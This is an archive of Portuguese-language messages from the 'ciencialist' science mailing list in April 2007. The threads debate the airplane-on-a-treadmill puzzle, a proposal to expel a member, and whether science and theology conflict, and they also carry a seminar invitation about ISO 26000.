aviões voam. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Homero, observe que o avião está sobre uma esteira. Nesse caso, posso
> considerar a esteira como chão, piso, pista... Luiz falou da velocidade
> medida em relação a terra, chão, ar e esqueceu de que o avião está
sobre uma
> esteira. Os movimentos relativos impedem de eu saber se é o avião se
desloca
> sobre a pista-chão ou se é a pista-esteira se deslocando - na mesma
> velocidade do avião - sob o avião.
>
> Vc lembra como eram feitas as filmagens antigamente em que os
protagonistas
> ficavam em um carro ou diligência parada, sacolejando, e o cenário
rodava
> atrás dando a impressão de que o que se movimentava era o carro ou a
> diligência. Lembra dos exemplos dados por Einstein sobre a
relatividade dos
> movimentos, cito um: todos de pé em um vagão de trem parado, quando o
> cenários que aparecem na janela se movem com o som do trem partindo, as
> pessoas instintivamente se inclinam como se fosse o trem que
estivesse se
> movimentando na partida...
>
> Até o momento, apenas o Takata parece que percebeu essa
possibilidade quando
> afirmou "depende". Mas depois calou-se obsequiosamente.
>
> []s
>
> José Renato
> .................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, April 04, 2007 10:21 PM
> Subject: [ciencialist] Re: Balanço do avião
>
>
> Olá Jose Renato
>
> Que teimosia..:-)
>
> Renato: "que tem em seu enunciado uma relação importante: a velocidade
> do avião é a mesma da esteira."
>
> A mesma "em relação ao chão", e você se deixa enganar por isso todas
> as vezes. O avião se move "para frente", pois não pode deixar de
> faze-lo. Nesse momento em que o avião SE MOVE PARA FRENTE, a esteira
> se move para trás, na mesma velocidade EM RELAÇÃO AO CHÃO. Em relação
> ao avião ela se move no dobro da velocidade em relação ao chão, pois
> este está SE MOVENDO para frente.
>
> Entretanto, o movimento da esteira é IRRELEVANTE ao processo de
> decolagem, pois não tem capacidade de aplicar força NENHUMA ao avião.
>
> Assim, o avião se move em relação ao ar e DECOLA, não importa o que a
> esteira faça.
>
> É simples, e é claro, se não se deixar enganar pelo "red hering" da
> esteira que se move para trás.
>
> Homero
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Adeilson, esse é o começo, pode continuar aventando as
> possibilidades do
> > problema que tem em seu enunciado uma relação importante: a
> velocidade do
> > avião é a mesma da esteira.
> > []s
> > JR
> > .......................................................
> > From: "Adeilson Moreira Junior" <adeilsonmoreirajr@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Tuesday, April 03, 2007 3:10 AM
> > Subject: Re: [ciencialist] Balanço do avião
> >
> >
> > >
> > > Eu nao cheguei a acompanhar a discussao que me pareceu debandar
> para a
> > > briga. Porem, agora, resolvo meter meus "bedelhos". Se o aviao voa
> ou nao,
> > > independera da velocidade da correia, pois o que faz o aviao
> levantar voo
> > > é
> > > a velocidade do ar sob suas asas que gerara a sustentacao no ar do
> > > veiculo.
> > > Quanto ao conceito, acho que estou correto, so nao sei se ha alguma
> > > incongruencia com a situacao apresentada.
> > >
> > > Abracos,
> > >
> > > Adeilson Moreira Junior
> > > ----- Original Message -----
> > > From: "José Renato" <jrma@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Sunday, April 01, 2007 10:41 PM
> > > Subject: [ciencialist] Balanço do avião
> > >
> > >
> > > Será que numa próxima oportunidade, que voltar a discussão sobre o
> > > problema
> > > do avião se deslocando sobre uma esteira, as pessoas vão pensar
> melhor a
> > > questão ou vão continuar com as mesmas posições? No início havia
> confusão
> > > e
> > > dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se
> > > convenceram
> > > que voa, Victor e Ricardo entre eles. Takata concluiu que depende.
> Luiz
> > > ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a
> uma das
> > > opões e fechou-se aos argumentos que apresentei em relação a uma
outra
> > > opção, até que desistiu... E o problema se esvaiu sem maiores
> conclusões
> > > firmadas.
> > > Qual seria o balanço das opiniões afinal?
> > >
> > > 1. Voa sim, com o dobro da velocidade da correia.
> > >
> > > 2. Voa sim, qualquer que seja a velocidade da correia
> > >
> > > 3. Não voa, qualquer que seja a velocidade da correia.
> > >
> > > 4. Voa ou não, dependendo do ponto de referência para a medição da
> > > velocidade do avião: voa quando é medida em relação ao solo; não voa
> > > quando
> > > é medida em relação à correia.
> > >
> > > 5. Nenhuma das respostas acima. (Para quem escolher essa opção,
> parece-me
> > > importante indicar qual seria sua resposta.)
> > >
> > > Abraços
> > >
> > > José Renato
> > >
> > > [As partes desta mensagem que não continham texto foram removidas]
> > >
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> Version: 7.5.446 / Virus Database: 268.18.26/746 - Release Date:
4/4/2007
> 13:09
>




SUBJECT: 1º Seminário Temático GAO-ISO 26000
FROM: "Deise Nascimento" <deise0109@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 20:37


PODE PARECER QUE NÃO, MAS ISSO LHE DIZ RESPEITO :

A recente reunião de Sydney foi um marco político no processo de
construção da ISO 26000, consolidando o Grupo de Trabalho e dando a
todos a certeza de que estamos criando um poderoso instrumento de
transformação social. A intenção está clara, e é positiva.
Agora, um dos maiores desafios é garantir que cada um dos temas
visados pela norma seja tratado com o devido cuidado, incorporando as
posições mais alinhadas com a cidadania e a sustentabilidade.

www.gao.org.br

Que temas são estes? Quem é qualificado a falar sobre eles? Estas
são as questões centrais, e estão sendo definidas neste exato
momento.

Os temas básicos estão dados, e certamente são de seu
interesse. Incluem, por exemplo:

- Desenvolvimento Sustentável
- Direitos Humanos e Cultura de Paz
- Meio Ambiente e Vida Saudável - Inclusão Social e
Desenvolvimento Comunitário
- Direitos das Minorias e das Populações Indígenas/Tradicionais
- Relações de Trabalho e de Consumo - Educação, Saúde e
Assistência Social
- Promoção e Preservação da Cultura
- Gestão de Organizações do Terceiro Setor

Entre março e outubro de 2007 um grupo de pessoas estará
descrevendo detalhadamente como as atividades das organizações
(empresas, ONGs, governos, etc...) podem e devem afetar cada um dos
temas acima. Não se trata, é claro, de discutir as finalidades
dessas organizações, mas sim de considerar os efeitos de suas
atividades sobre cada tema. Você pode conhecer já o trabalho
dessas pessoas, e interferir efetivamente em seus resultados.

Para facilitar e promover a mais ampla participação das ONGs
brasileiras neste processo, o GAO está realizando uma série de
atividades, a começar pelo "1º Seminário Temático GAO-ISO
26000". Será dia 17 de abril de 2007, das 14:00 às 22:00 h. na
sede da EcoPress - Rua Itápolis, 1468, no bairro do Pacaembu, em
São Paulo.

Este evento será uma reunião de trabalho, para pessoas
tecnicamente qualificadas, que conheçam a fundo as áreas de
interesse de sua entidade, e que desejem discuti-las frente ao que
será proposto na ISO 26000. Os resultados do seminário
embasarão as posições dos representantes das ONGs brasileiras no
processo, influenciando assim muitos outros participantes.

Todos serão bem-vindos, mas é essencial a inscrição prévia.

Para inscrever-se ou saber mais acesse: www.gao.org.br.

Participe, espalhando este convite e comparecendo ao seminário!





Comitê Executivo do GAO_ISO 26000:

Secretário Executivo - Aron Belinky

Secretária Adjunta - Maria Yamauchi

pelo Conselho Consultivo - Emiliano Graziano da Silva



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Ferrari NÃO é Einstein, Renato - Re: PEDIDO DE EXCLUSAO
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 22:10

Homero: [ Energia tem definição precisa, e não se aplica a seres
imateriais... ]
.................................
Vejo que vc detém uma definição precisa para energia. Gostaria de
conhecê-la.

Vc conhecia o ditado mas continuou discutindo com Ferrari, mesmo sabendo de
antemão que seria cansativo e inútil. Vc consegue explicar por que?

Esse expediente de exigir definições de vocábulos, conceitos ou expressões,
em uma lista de discussão informal, está mais para pirraçar ou encher o saco
do interlocutor. Em uma apresentação acadêmica isso é essencial, mas numa
lista como a nossa os entendimentos vêm com a troca das mensagens expondo as
idéias de cada um.
Percebo que na lista em vez de se buscar esclarecer e aprender, em geral, há
uma tendência de se procurar "ganhar a discussão", muitas vezes usando
artifícios pouco recomendados. E quando se busca "ganhar a discussão"
deixa-se de lado o melhor e mais amplo entendimento da questão.

[]s

JR
........................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 04, 2007 11:59 PM
Subject: [ciencialist] Ferrari NÃO é Einstein, Renato - Re: PEDIDO DE
EXCLUSAO


Olá Renato

Renato: "Do modo que vc escreveu abaixo dá uma falsa impressão de que
Ferrari não usava da lógica, nem da razão. Que seus comentários não
faziam sentido... O fato dele usar termos diferentes não significa
falta de lógica ou de razão em seus comentários. Ao declarar que Deus
é energia, traduz em linguagem científica o que ele considera Deus. "

Ele não usa a lógica, nem faz sentido. Não se pode "escolher" os
termos, e tentar ajusta-los a seu bel prazer. "Deus é energia" não
significa nada, não prova nada, a não ser que esteja tentando alegar
que a estrutura física de deus é energia. Energia tem definição
precisa, e não se aplica a seres imateriais, imaginários ou inexistentes.

Não importa o que "ele" considera deus, não há evidências de que
exista esse deus, (ou qualquer outro) e a definição de "deus" é algo
também preciso. A eletricidade que destrói uma árvore NÃO é deus,
embora seja energia, porque NÃO quis destruir a árvore. A definição de
deus exige intenção, uma mente inteligente, etc.

Ele NÃO usa termos diferentes, ele simplesmente se recusa a usar
termos, semântica como diz, ou ficar preso a significados (o que é a
semântica), e aplica as palavras de forma irracional e sem sentido.

Prove que deus "é energia". Primeiro, prove que deus existe, para ser
de energia. Sem isso, é o mesmo que dizer "Papai Noel é energia". Não
vale nada e nada significa.

Renato: "Como vc pode afirmar que Ferrari não é um pensador
sistemático, como Einstein?"

Esta é fácil: Einstein, como pensador racional e sistemático, definia
seus termos antes sequer de começar suas afirmações, e evitava falar
de seus estudos, antes que provas empíricas e concretas as embasassem
e confirmassem.

Ele JAMAIS fugiria de debates com perguntas como "o que é debate, o
que é fugir?".

Einstein era um gênio, Ferrari é um enganador, poeta, esotérico, sei
lá, tudo menos alguém a se comparar a Einstein (embora a pretensão e
arrogância seja suficiente para isso).

Renato: "Percebo que essa desqualificação é pessoal, gratuita e
exagerada. "

Perceba o que quiser, é direito seu. Mas mesmo minha paciência, em
geral grande, tem limites e foi você que comparou o Ferrari a
Einstein, não eu. E o que seria mais "exagerado" que um cara que pensa
ter "provado" a existência de deus, com frases sem sentido e onde
todos os grandes filósofos falharam?

Tenha dó, Renato.

Renato: "Ouvir e refletir sobre o que o outro tem a nos dizer pode
reduzir a ignorância em algum ponto e/ou sedimentar conhecimentos já
adquiridos anteriormente. Sempre considerei que a crítica e a
contestação é o melhor incentivo ao aprendizado. Afinal as pipas
alcançam maior altura e desempenho quando são sustentadas contra o vento."

Irrelevante. Ainda que eu concordasse com você, no que alega acima, é
totalmente irrelevante, pois não se aplica a este caso do Ferrari. Diz
o ditado, discutir com quem renunciou a lógica, é como alimentar um
homem morto: cansativo e inútil.

O Ferrari não tem nada a ensinar, não diz coisa com coisa, e no máximo
poderia impressionar platéias de templos evangélicos, que não entendem
nada de nada, mas gostam de palavreado bonito e confuso.

E antes que eu me esqueça, "o que é refletir, o que é sedimentar, o
que é altura?", eu sei, eu sei e você não sabe..:-)

Antes de ficar bravo com a piada acima, pense, pimenta nos olhos dos
outros é refresco, não?

Homero



SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 22:15

Silvio, quando a regra vale para todos do grupo, não há em que discordar.
Espero que vc chame atenção do coordenador toda vez que aparecer uma
mensagem fora da temática dessa lista de feras...
[]s
José Renato
........................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 04, 2007 11:59 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


Renato:
Aconteceu comigo um caso curioso: Tentei entrar um grupo que é fechado e
exclusivo de "feras". justifiquei meu pedido, dizendo que era para aprender.
O Coordenador, que me conhece da internet, aceitou meu ingresso e só pediu
que não escrevessa nada que não fosse da temática.
E estou lá, lendo adoidado, de bico fechado.
Mesmo na internet as regras devem, como a boa educação, serem seguidas.
sds.,
silvio
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 04, 2007 10:26 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


Silvio, é nessas horas que os homens se diferenciam dos meninos...
[]s
JR
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 03, 2007 11:47 AM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO

Renato:

Eu sou um sos participantes mais censurados do grupo tanto pela
irreverência
como pela colocação de textos off-toppic. E sempre que censurado, peço
desculpas, aceito o puxam de orelhas.
Agora, solicitar a saída de um companheiro do quilate do Ferrari, sem
maiores considerações sobre a pessoa e intelectualidade dele, é apenas um
ato não democrático.
Como o grupo é moderado, que os moderadores, que são os proprietários da
lista, que usem de suas prerrogativas.
Pedir, por motivos ideológicos a defenestração de um companheiro é negar o
próprio nome da lista.

sds.,
silvio.
................................................

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 11:46 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO

Olá, Luiz! O Ferrari está dialogando com os listeiros porque os listeiros
estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
listeiro responderia ou tentaria contra argumentar. Ele tem uma visão mais
livre da realidade, diferente das mesmices dos livros didáticos impostos
aos
nossos estudantes. Não acredito que a exclusão proposta por vc vá melhorar
a
objetividade dos listeiros que interagem intensamente com ele e - como não
conseguem impor seus argumentos científicos - ficam reclamando que ele não
diz coisa com coisa, que a lista não tem mais ciência e outras desculpas
que
sirvam de motivo para moderá-lo ou excluí-lo da lista. Isso não me parece
ser uma atitude nobre. Nem científica.
[]s
José Renato
.............................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 5:56 PM
Subject: [ciencialist] PEDIDO DE EXCLUSAO

Senhores do C-List,

com base nas papagaiadas dessa mensagem (adicionada às dezenas de
anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
recomendação" para outras listas que estejam dispostas a lerem suas
'profundas manifestações filosóficas'.

Já tenho até receio de falar em Ciência nessa lista!

No aguardo,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 14:00
Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?

Olá Murilo Anderson!

Murilo >>> Acho bom a gente ter cuidado, pq já
brigamos antes e meu tempo é curto.

--- Mr. Anderson, tá com pressa de chegar a onde?
Hehehehe... Relaxa: qualquer lugar que vc chegar será
apenas um lugar qualquer.

Murilo >>> Eu posso sim decidir não exercitar minha
dialética.

--- Sim, isto é o que o Mr. Anderson pensa.

Murilo >>> Há que existir um mínimo de base filosófica
p/esse tipo de papo, vc sabe.

--- Não é base filosofica, é consciencial.

Murilo >>> "Livre arbítrio" existe sim, vc não poderá
negar.

--- Mr. Anderson, não estou dizendo que não existe o
processo do livre-arbítrio. Sim, existe. O que estou
dizendo é que não existe o processo do livre-arbítrio
tal qual os espíritas, os católicos, e até mesmo os
ateus o compreendem e definem. Ou seja, não existe
livre-arbítrio na ação. O livre-arbítrio é um processo
do espírito (consciencia) e não dá mente (cérebro).

Murilo >>> A metáfora do Orlando se deve às diferenças
entre os mundos dos interlocutores.

--- Hehehehehe... Já ouviu o termo "loucura
controlada". Foi o carlos castanheda que invetou. Me
sinto assim, controlado entre uma loucura e outra.

--- Observe isto aqui: O dificil não é ser louco. Ser
louco é fácil, é natural, o dificil é ser normal.
Abrimos a mão e a pedra cai. Não é preciso esforço
para ser natural, só é preciso esforço para ser
cultural.

Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
está faltando em minha vida.

--- Já tentou um acordo com a Agente Smith? O Cifer
consegiu uma fazenda no Arizona que é uma beleza.

Murilo >>> Que eternidade é esta que não tarda nem
falha?

--- Alguma vez vc já testemunhou uma dia que não
trouxesse uma noite? Ou uma noite que não trouxesse um
dia? Alguma vez vc já testemunhou uma hora que não
tivesse 60 minutos? Um minuto que não tivesse 60
seguntos, e assim por diante...

--- Eis ai a eternidade que não tarda nem falha.

a woman with red dress pra vc
abç. ferrari

- - - - - - - - - - - - - - -

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SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 22:34

Homero, quem quer entender a realidade não se apega a apenas uma linguagem.
A linguagem e o método científico são diferentes de outras linguagens
igualmente importantes. Voltaire tentou encadear algumas certezas e não
passou da primeira. A maior parte da realidade é inexplicável, qualquer que
seja a linguagem. É por isso que se faz necessário ampliar nossa visão
quanto a essa realidade, sem se deixar inibir por regras acadêmicas ou não.
Polêmicas existe entre os cientistas, do mesmo modo como há com filósofos,
teólogos, psicanalistas, economistas, políticos... Parece-me que é mais uma
questão de egos exacerbados do que visões diferentes da realidade. Claro que
o cientista tolo olha para as demais linguagens com desprezo. Nada diferente
de alguém que se diz teólogo, filósofo, etc., que não superou ainda a fase
infanto-juvenil em que só há jogos perde-ganha e perde-perde. Isso não
demonstra sabedoria.
[]s
José Renato
.................................
From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 05, 2007 12:08 AM
Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa
doparadoxo


Olá Renato

Renato: "Não há conflito entre Ciências, Filosofia, Teologia como
muitos pensam."

Não é conflito, é guerra mesmo. Não apenas são incompatíveis, ciência
e teologia, como mutuamente excludentes e contraditórias. A teologia,
a religião, a fé, vivem sustentadas pelo pensamento mágico, falhas de
percepção humanas, desejos subjetivos e credulidade, enquanto a
ciência só existe porque deixou de lado todas essas coisas.

Em especial, o pensamento mágico, a crença irracional em seres
imaginários, e a fé na interferência desses seres no universo físico.

Deuses são incompatíveis com leis da física.

Cientistas não rezam para que os elétrons mudem de órbita, nem para
que a lei da gravidade não falhe durante um experimento. Aprendemos
que ela não o fará, pois não há nenhuma intenção ou interferência em
sua ação.

Mesmo valores ético-morais independem de religião ou teologia, e
podem, devem, ser construídos a partir da razão e da vontade humana.
Deixar as religiões para tras é uma vantagem que não se pode
subestimar, em se tratando de civilização e ética humana.

No máximo, deixemos a filosofia lidar com os problemas subjetivos,
impedindo a teologia (qualquer das milhares existentes, e mutuamente
conflitantes) de distorcer e confundir essas questões.

Homero



SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 23:15

Caro Prof. José Carlos, não há conflitos entre Ciência, Filosofia e Teologia
porque todas tratam - ou deveriam tratar - daquilo que somos. Entender isso
é fácil: somos a referência de tudo o que constatamos na realidade. São
esses conhecimentos que nos ensinam sobre a existência da humanidade e de
sua sobrevivência em um paraíso que não conseguimos preservar por falta de
sapiência em perceber o que vc disse em mensagem a Homero: aprender ciência
é aprender sobre humanidade.
Não dá para separar uma da outra.
[]s
José Renato
.................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 05, 2007 12:52 AM
Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa
doparadoxo


Homero,

Aproveitando a deixa e o fato de que estou lendo as todas mensagens
dessa semana, vou sugerir uma técnica diferente de argumentação que
tenho usado e tem dado certo contra esses pecadores:

De fato, não há nenhum conflito entre Ciência, Filosofia e Teologia,
pois cada uma trata de uma coisa que não tem nenhuma relação causal
com a outra. A Ciência se preocupa com o mundo físico onde existimos e
tem as melhores respostas para explicar seus fenômenos; a Filosofia
trata de um outro mundo, o mundo das idéias sobre conceitos
subjetivos como ética, moral, arte, beleza e outras coisas
incomensuráveis e; por fim, a Teologia é uma disciplina que trata de
devaneios malucos sobre coisas estranhas de um universo fictício que
só servem para justificar o dízimo pago pelos crentes.

Experimente usar isso, você vai ver como funciona. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Renato
>
> Renato: "Não há conflito entre Ciências, Filosofia, Teologia como
> muitos pensam."
>
> Não é conflito, é guerra mesmo. Não apenas são incompatíveis, ciência
> e teologia, como mutuamente excludentes e contraditórias. A teologia,
> a religião, a fé, vivem sustentadas pelo pensamento mágico, falhas de
> percepção humanas, desejos subjetivos e credulidade, enquanto a
> ciência só existe porque deixou de lado todas essas coisas.
>
> Em especial, o pensamento mágico, a crença irracional em seres
> imaginários, e a fé na interferência desses seres no universo físico.
>
> Deuses são incompatíveis com leis da física.
>
> Cientistas não rezam para que os elétrons mudem de órbita, nem para
> que a lei da gravidade não falhe durante um experimento. Aprendemos
> que ela não o fará, pois não há nenhuma intenção ou interferência em
> sua ação.
>
> Mesmo valores ético-morais independem de religião ou teologia, e
> podem, devem, ser construídos a partir da razão e da vontade humana.
> Deixar as religiões para tras é uma vantagem que não se pode
> subestimar, em se tratando de civilização e ética humana.
>
> No máximo, deixemos a filosofia lidar com os problemas subjetivos,
> impedindo a teologia (qualquer das milhares existentes, e mutuamente
> conflitantes) de distorcer e confundir essas questões.
>
> Homero
>




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SUBJECT: RE: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, manuelbulcao@uol.com.br
DATE: 05/04/2007 23:39

Bullcão,
oi.
Parabens pela alta qualidade intelectual da sua descrença.
Sua descrença está muitos corpos à frente da do ateu do deus antropomórfico
dos padrecos.
Provocando um tequinho: talvez vc se subestime demais e não se sinta capaz
de sacações bulcônicas próprias.
É fácil e basta deixar vir. Vc está resvalando num prêmio: uma filosofia
própria. Estou quase apostando que já a tem.
abr/M.


>From: Manuel Bulcão <manuelbulcao@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa
>doparadoxo
>Date: Thu, 05 Apr 2007 10:14:01 -0000
>
>Oi
>
>JC: "De fato, não há nenhum conflito entre Ciência, Filosofia e
>Teologia, pois cada uma trata de uma coisa que não tem nenhuma relação
>causal com a outra."
>
>MB: O problema é que, assim como não há uma linha "precisa"
>demarcando a vida da morte ou o que é vivo do que não é, do mesmo
>modo a fronteira que separa a ciência da filosofia não é uma linha,
>mas uma "zona", um claro-escuro, uma região nem preta nem branca, mas
>cinzenta - uma terra de ninguém ou de todos.
>
>HM: Mas o problema me parece sempre ser causado pela ilegítima
>invasão da teologia na área da ciência, do que o contrário. Nunca vi
>um estudo destinado a invalidar ou analisar uma afirmação teológica,
>a não ser quando está faz referências a aspectos físicos e materiais.
>
>MB: Tais estudos existem, de montão. Estou vendo, agora, nas
>prateleiras das minhas estantes, dois deles: "O Capelão do Diabo", de
>R. Dawkins (livro excelente de um escritor maravilhoso) e "A Perigosa
>Idéia de Darwin", de D. Dennett (um dos meus filósofos preferidos).
>Não são poucos os cientistas e diletantes da ciência que tentam
>assassinar os deuses com a Navalha de Ockham, cortando-lhes a
>jugular. Até que conseguem sangrar mortalmente alguns, como o urubu-
>totem entre outras divindades zoomórficas, quiméricas e
>antropomórficas. Não conseguem, porém, sequer arranhar o deus pensado
>por Anselmo, por Leibniz ou por Gödel.
>
>Muitos grandes cientistas e céticos cientificistas caem no ridículo
>ao comparar Deus com Papai Noel, Saci-Pererê, Caipora e que tais;
>como se a questão "eterna" e "perturbadora" da existência ou não de
>um propósito moral regendo o mundo - ou de uma "causa finalis" -
>fosse apenas uma curiosidade intelectual não mais intrigante que o
>problema que trata de xícaras de porcelana orbitando o Sol. Se fosse
>tão desimportante assim, não perderiam tanto tempo escrevendo
>calhamaços de 300, 400, 500 páginas.
>
>HM: Mas teologias parecem passar o tempo todo a desafiar a ciência,
>com "lacunas" de conhecimento que desejam chamar de deus (uma lacuna
>para chamar de sua, deveria ser o mote de todas as religiões..;-).
>
>MB: E que lacunas! - "A investigação científica das causas eficientes
>dos fenômenos naturais não pode avançar indefinidamente, tanto por
>razões práticas e também porque a própria ciência descobriu
>fronteiras absolutas do conhecimento. Com efeito, o que acontece nos
>marcos do espaço e do tempo de Planck jaz completamente submerso na
>incerteza quântica; a evolução dos sistemas dinâmicos complexos é, em
>médio prazo, imprevisível; e, neste universo em expansão acelerada,
>não se pode obter qualquer informação das regiões que se afastam de
>nós com rapidez maior que a velocidade da luz. Ora, não há razão para
>supor que os limites da ciência e do universo observável coincidem
>com os limites da realidade. Ademais, haja vista que o cérebro é
>produto dos mecanismos cegos da evolução (variação aleatória e
>seleção natural), consistindo, pois, numa engenhoca complexa, porém
>imperfeita, cheia de gambiarras, não é desarrazoado aventar que a
>razão objetiva apresenta aspectos que escapam ao poder de captação da
>razão subjetiva, humana. Sendo assim, além dos marcos da capacidade
>de predição do método científico pode ser que exista qualquer coisa
>inesperada, inclusive uma Causa Finalis manipulando, através das
>banais causas eficientes, toda a realidade. Ou até, quiçá, duas ou
>mais vontades divinas em conflito, de sorte que a 'aparente'
>initencionalidade dos processos naturais observáveis nada mais seja
>que a resultante ou vetor-soma dessas misteriosas forças intencionais
>antagônicas: Mazda e Ahriman."
>
>JC: "por fim, a Teologia é uma disciplina que trata de devaneios
>malucos sobre coisas estranhas de um universo fictício que só servem
>para justificar o dízimo pago pelos crentes."
>
>HM: Assino em baixo..:-) Mas tente convencer um religioso disso,
>tente convence-lo a manter sua teologia nesses termos..:-)
>
>MB: Sou mais ateu que todos vocês (o ateísmo é a minha "fé"), mas não
>subscrevo a pérola retórica do José Carlos. Pois vejo todos os dias
>matemáticos inteligentíssimos criando postulados arbitrários e,
>baseado neles, construirem universos contrafactuais com 30, 42, 367
>dimensões espaciais e meia dúzia ou mais de dimensões temporais
>(universos "racionais", matematicamente possíveis; chegam até a medir
>o seu grau de probabilidade).
>
>Também vejo físicos teóricos a calcularem com a precisão de 100 casas
>decimais a massa, o spin e outras propriedades de partículas que se
>sabe inexistentes, mas que "poderiam existir", como é o caso dos
>táquions.
>
>Ora, então por que não haveria de ter um ramo da filosofia - a
>teologia - ocupada com o "melhor dos mundos possíveis", mundo este em
>que o absurdo e o não-sentido, por mais que se manifeste, seja apenas
>aparente? O grande matemático Kurt Gödel se deleitou com esse
>assunto. Criou até um complexo silogismo - na linguagem lógico-
>matemática - em que conclui a existência real do "melhor dos mundos
>possíveis" em que não existe culpa sem castigo, dor sem compensação
>(um mundo regido por um propósito moral).
>
>Abraços,
>Manuel Bulcão
>
>
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SUBJECT: RE: ele não tem as respostas...
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: luizeduardo@infolink.com.br, homero@atibaia.com.br, jeff@jeff.com.br, emailferrari@yahoo.com.br, jrma@terra.com.br, scordeiroes@superig.com.br, leobarretos@uol.com.br, estebanlmoreno@gmail.com, brunacribas@yahoo.com.br, profjc2003@yahoo.com.br, ricardos@infolink.com.br, chicaovaladares@yahoo.com.br, manuelbulcao@uol.com.br
CC: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 23:54

Luizão, oi.
Eu diria que o Ferrari lhe baleou e muito bem baleado.
A capacidade de argumentar - dele, Ferrari - é excepcional.
Vc nunca mais será o mesmo, Luizão.
Vc vai ver o que é tesão.
abr/M.


>From: Luiz Eduardo <luizeduardo@infolink.com.br>
>To: homero@atibaia.com.br,jeff@jeff.com.br,emailferrari@yahoo.com.br,
>jrma@terra.com.br,scordeiroes@superig.com.br,leobarretos@uol.com.br,
>estebanlmoreno@gmail.com,brunacribas@yahoo.com.br,
>profjc2003@yahoo.com.br,ricardos@infolink.com.br,
>chicaovaladares@yahoo.com.br,avalanchedrive@hotmail.com,
>manuelbulcao@uol.com.br
>Subject: ele não tem as respostas...
>Date: Thu, 05 Apr 2007 16:12:12 -0300
>
>
>
>
>Uma coisa é eu dizer... "eu sei e você não sabe".
>
>
>O Ferrari fica tirando essa onda, como se ele pudesse dizer isso (ainda que
>não diga, fica essa impressão, com o pessoal todo acuado).
>
>
>
>Na verdade, o que ele tem pra dizer, mas também não diz é...
>
>"eu sei que vocês não sabem, mas eu também não sei. Eu só sei que não sei e
>vocês não sabem... e vou ficar torturando vocês, já que vocês acham que
>sabem muito, que sabem tudo e, aqui, nem sabe nada, já que aquilo que é
>sabido é totalmente insignificante frente aos fatos".
>




SUBJECT: RE: [ciencialist] P/ Manuel - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 23:58

Ok, Sr. Vice, hasta la vista.


>From: "Robert Flynn" <bobflynn@taco-hvac.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: RE: [ciencialist] P/ Manuel - Discordando, educadamente..:-) Re:
>Em defesa doparadoxo
>Date: Thu, 5 Apr 2007 18:04:26 -0400
>
>Take me off this list.
>
>
>
>Robert A. Flynn
>
>Sr. Vice President Corporate Development
>
>Taco Inc.
>
>________________________________
>
>From: ciencialist@yahoogrupos.com.br
